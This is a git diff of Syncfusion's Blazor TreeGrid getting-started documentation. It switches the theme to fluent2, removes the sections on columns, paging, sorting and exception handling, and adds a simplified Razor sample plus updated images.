+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor TreeGrid Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.TreeGrid/scripts/sf-treegrid.min.js" type="text/javascript"></script> -->
-</head>
-```
-
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
-
-## Add Blazor TreeGrid component
-
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component in the **~/Pages/Index.razor** file.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="5" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="30" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code
-{
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", ParentId = null });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", ParentId = 1 });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", ParentId = 1, });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", ParentId = null });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", ParentId = 4 });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", ParentId = 5 });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNLzXiANJxYypVIp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeGrid](images/blazor-treegrid-component.webp)" %}
-
-## Defining columns
-
-The Tree Grid has an option to define columns using the [TreeGridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumns.html) directive. In the `TreeGridColumn` directive there are properties to customize columns.
 
-Let’s check the properties used here:
-* [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_Field) to map with a property name in datasource is been added.
-* [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_HeaderText) to change the title of columns is been added.
-* [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_TextAlign) to change the alignment of columns is been used. By default, columns will be left aligned. To change columns to right align, define **TextAlign** as *Right*.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Priority" HeaderText="Priority" Width="80"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code{
-
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int Duration { get; set; }
-        public int Progress { get; set; }
-        public string Priority { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-In the above code example, the [Self-Referential](https://blazor.syncfusion.com/documentation/treegrid/data-binding#self-referential-data-bindingflat-data) data binding is represented in which the [IdMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_IdMapping) and [ParentIdMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_ParentIdMapping) properties denotes the hierarchy relationship; whereas in [Hierarchical](https://blazor.syncfusion.com/documentation/treegrid/data-binding#hierarchy-data-binding) data binding [ChildMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_ChildMapping) denotes the hierarchy relationship.
-
-## Enable paging
-
-The paging feature enables users to view the tree grid record in a paged view. It can be enabled by setting the  [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_AllowPaging) property to true. The pager can be customized using the [PageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_PageSettings) property.
-
-In root-level paging mode, paging is based on the root-level rows only, i.e., it ignores the child row count and it can be enabled by using the [PageSettings.PageSizeMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridPageSettings.html#Syncfusion_Blazor_TreeGrid_TreeGridPageSettings_PageSizeMode) property.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" AllowPaging="true">
-    <TreeGridPageSettings PageSizeMode="PageSizeMode.Root" PageSize="2"></TreeGridPageSettings>
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Priority" HeaderText="Priority" Width="80"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code{
-
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int Duration { get; set; }
-        public int Progress { get; set; }
-        public string Priority { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable sorting
-
-The sorting feature enables to order the records. It can be enabled by setting the  [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_AllowSorting) property to `true`.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" AllowPaging="true" AllowSorting="true">
-    <TreeGridPageSettings PageSizeMode="PageSizeMode.Root" PageSize="2"></TreeGridPageSettings>
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Priority" HeaderText="Priority" Width="80"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code{
-
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int Duration { get; set; }
-        public int Progress { get; set; }
-        public string Priority { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtLzNMKDzGDJVWCD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeGrid](images/blazor-treegrid.webp)" %}
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TreeGrid).
-
-## Handling exceptions
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-Exception handling in Tree Grid identifies exceptions and notifies them through the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridEvents-1.html#Syncfusion_Blazor_TreeGrid_TreeGridEvents_1_OnActionFailure) event. When configuring the Tree Grid or enabling specific features through its API, mistakes can occur. The `OnActionFailure` event can be used to manage these exceptions. This event triggers when such mistakes happen. The `OnActionFailure` event handles various scenarios, including:
+```
 
-* For CRUD operations, row drag and drop, and persisting the selection, ensure the [IsPrimaryKey](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_IsPrimaryKey) property is mapped to a unique data column. Failure to do so will cause an exception.
-* [Paging](https://blazor.syncfusion.com/documentation/treegrid/paging) is not supported with [Virtualization](https://blazor.syncfusion.com/documentation/treegrid/virtualization). Enabling `Paging` with `Virtualization` will result in an exception.
-* To render the Tree Grid, map either the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_DataSource) or [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_Columns) property. Failure to do so will result in an exception.
-* Freeze columns by mapping either [IsFrozen](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_IsFrozen) or [FrozenColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_FrozenColumns). Enabling both properties simultaneously will result in an exception.
-* The [DetailTemplate](https://blazor.syncfusion.com/documentation/treegrid/rows/detail-template) is not supported with `Virtualization` and `Stacked Header`. Enabling them with these features will result in an exception.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.Refer to the [Style and Appearance](https://blazor.syncfusion.com/documentation/treegrid/custom-style) topic for customizing the DataGrid appearance and styling options.
 
-* The [FrozenRows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_FrozenRows) and `FrozenColumns` are not supported with [RowTemplate](https://blazor.syncfusion.com/documentation/treegrid/rows/row-template), `DetailTemplate`, and [Cell Editing](https://blazor.syncfusion.com/documentation/treegrid/editing/cell-editing). Enabling them with these features will result in an exception.
 
-* In `Stacked Header`, the [Freeze](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_Freeze) direction is incompatible with [Column Reordering](https://blazor.syncfusion.com/documentation/treegrid/columns/column-reorder).  
-* [Selection](https://blazor.syncfusion.com/documentation/treegrid/selection) functionality is not supported when using `RowTemplate`. Enabling both properties simultaneously will result in an exception.
-* Set the [TreeColumnIndex](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_TreeColumnIndex) value to display the tree structure. Make sure the value does not exceed the total column count, or it will result in an exception.
-* For `Virtualization`, do not specify height and width in percentages. Using percentages will result in an error.
-* When using the default filter ([FilterBar](https://blazor.syncfusion.com/documentation/treegrid/filtering/filter-bar)) type, do not apply the other [FilterType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.FilterType.html) to columns within the same tree grid, as this will result in an exception.
-* In Tree Grid, avoid enabling [IdMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_IdMapping) and [ChildMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_ChildMapping) simultaneously. Enabling both properties at the same time will result in an exception.
-* The [ShowCheckbox](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_ShowCheckbox) column should only be defined in the tree column. Defining it elsewhere will result in an exception.
-* The [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_TextAlign) right is not applicable for tree columns in the Tree Grid.  Enabling right alignment for tree columns will result in an exception.
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component
 
-The following code example shows how to use the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridEvents-1.html#Syncfusion_Blazor_TreeGrid_TreeGridEvents_1_OnActionFailure) event in the Tree Grid control to display an exception when `IsPrimaryKey`are not configured properly in the Tree Grid.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.TreeGrid;
-@using Syncfusion.Blazor.Data;
 
- <span class="error">@ErrorDetails</span>
 <SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
-    <TreeGridEditSettings AllowEditing></TreeGridEditSettings>
-    <TreeGridEvents TValue="BusinessObject" OnActionFailure="ActionFailure"></TreeGridEvents>
     <TreeGridColumns>
         <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
         <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
         <TreeGridColumn Field="StartDate" HeaderText="Start Date" Format="d" Type="Syncfusion.Blazor.Grids.ColumnType.DateOnly" Width="152" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
         <TreeGridColumn Field="StartTime" HeaderText="Start Time" Type="Syncfusion.Blazor.Grids.ColumnType.TimeOnly" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
     </TreeGridColumns>
 </SfTreeGrid>
-<style>
-    .error {
-        color: red;
-    }
-</style>
 
 @code{
-
-    private string ErrorDetails = "";
-    public class BusinessObject
+   public class BusinessObject
     {
         public int TaskId { get; set; }
         public string TaskName { get; set; }
@@ -455,12 +175,6 @@ The following code example shows how to use the [OnActionFailure](https://help.s
         public int? ParentId { get; set; }
     }
 
-    public void ActionFailure(Syncfusion.Blazor.Grids.FailureEventArgs args)
-    {
-        this.ErrorDetails = args.Error.Message.ToString();
-        StateHasChanged();
-    }
-
     public List<BusinessObject> TreeData = new List<BusinessObject>();
 
     protected override void OnInitialized()
@@ -470,27 +184,12 @@ The following code example shows how to use the [OnActionFailure](https://help.s
         TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", StartDate = new DateOnly(2021, 03, 06), StartTime = new TimeOnly(12, 00, 00), Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
         TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", StartDate = new DateOnly(2021, 03, 08), StartTime = new TimeOnly(13, 30, 00), Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
         TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", StartDate = new DateOnly(2021, 07, 10), StartTime = new TimeOnly(14, 00, 00), Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", StartDate = new DateOnly(2021, 10, 14), StartTime = new TimeOnly(17, 30, 00), Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", StartDate = new DateOnly(2021, 10, 16), StartTime = new TimeOnly(18, 00, 00), Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", StartDate = new DateOnly(2021, 02, 18), StartTime = new TimeOnly(19, 30, 00), Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
+        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 4, Priority = "Normal" });
     }
 }
-
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNVztHsLJVPJfMvO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-## See also
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component in the default web browser.
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> JavaScript documentation](https://ej2.syncfusion.com/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> JavaScript (ES5) documentation](https://ej2.syncfusion.com/javascript/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Angular documentation](https://ej2.syncfusion.com/angular/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> React documentation](https://ej2.syncfusion.com/react/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Vue documentation](https://ej2.syncfusion.com/vue/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> ASP.NET Core documentation](https://ej2.syncfusion.com/aspnetcore/documentation/tree-grid/getting-started-core)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> ASP.NET MVC documentation](https://ej2.syncfusion.com/aspnetmvc/documentation/tree-grid/getting-started-mvc)
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZLxtSsPSYTTRmob?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
\ No newline at end of file
diff --git a/blazor/treegrid/images/blazor-treegrid-component.webp b/blazor/treegrid/images/blazor-treegrid-component.webp
index 9ed7eab132..309630fe7f 100644
Binary files a/blazor/treegrid/images/blazor-treegrid-component.webp and b/blazor/treegrid/images/blazor-treegrid-component.webp differ
diff --git a/blazor/treegrid/images/blazor-treegrid-maui-app.webp b/blazor/treegrid/images/blazor-treegrid-maui-app.webp
index d0cbfa6af1..81787b751a 100644
Binary files a/blazor/treegrid/images/blazor-treegrid-maui-app.webp and b/blazor/treegrid/images/blazor-treegrid-maui-app.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/aggregate-cell-element.webp b/blazor/treegrid/images/style-and-appearance/aggregate-cell-element.webp
new file mode 100644
index 0000000000..5eef6914f4
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/aggregate-cell-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/aggregate-root-element.webp b/blazor/treegrid/images/style-and-appearance/aggregate-root-element.webp
new file mode 100644
index 0000000000..1edd54d106
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/aggregate-root-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/cell-selection.webp b/blazor/treegrid/images/style-and-appearance/cell-selection.webp
new file mode 100644
index 0000000000..cf0fecb368
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/cell-selection.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/collapse-custom-icon.webp b/blazor/treegrid/images/style-and-appearance/collapse-custom-icon.webp
new file mode 100644
index 0000000000..4b65bf3628
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/collapse-custom-icon.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/commandbutton-1.webp b/blazor/treegrid/images/style-and-appearance/commandbutton-1.webp
new file mode 100644
index 0000000000..4dbf2109cd
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/commandbutton-1.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/commandbutton-2.webp b/blazor/treegrid/images/style-and-appearance/commandbutton-2.webp
new file mode 100644
index 0000000000..d6fe8ee03f
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/commandbutton-2.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/edit-dialog-header-element.webp b/blazor/treegrid/images/style-and-appearance/edit-dialog-header-element.webp
new file mode 100644
index 0000000000..5503a97599
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/edit-dialog-header-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/edited-added-row-element.webp b/blazor/treegrid/images/style-and-appearance/edited-added-row-element.webp
new file mode 100644
index 0000000000..aa1b2d0dd4
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/edited-added-row-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/edited-row-input-element.webp b/blazor/treegrid/images/style-and-appearance/edited-row-input-element.webp
new file mode 100644
index 0000000000..c787e9b984
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/edited-row-input-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/excel-filter-dialog-number-filters-element.webp b/blazor/treegrid/images/style-and-appearance/excel-filter-dialog-number-filters-element.webp
new file mode 100644
index 0000000000..4d219cc945
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/excel-filter-dialog-number-filters-element.webp differ
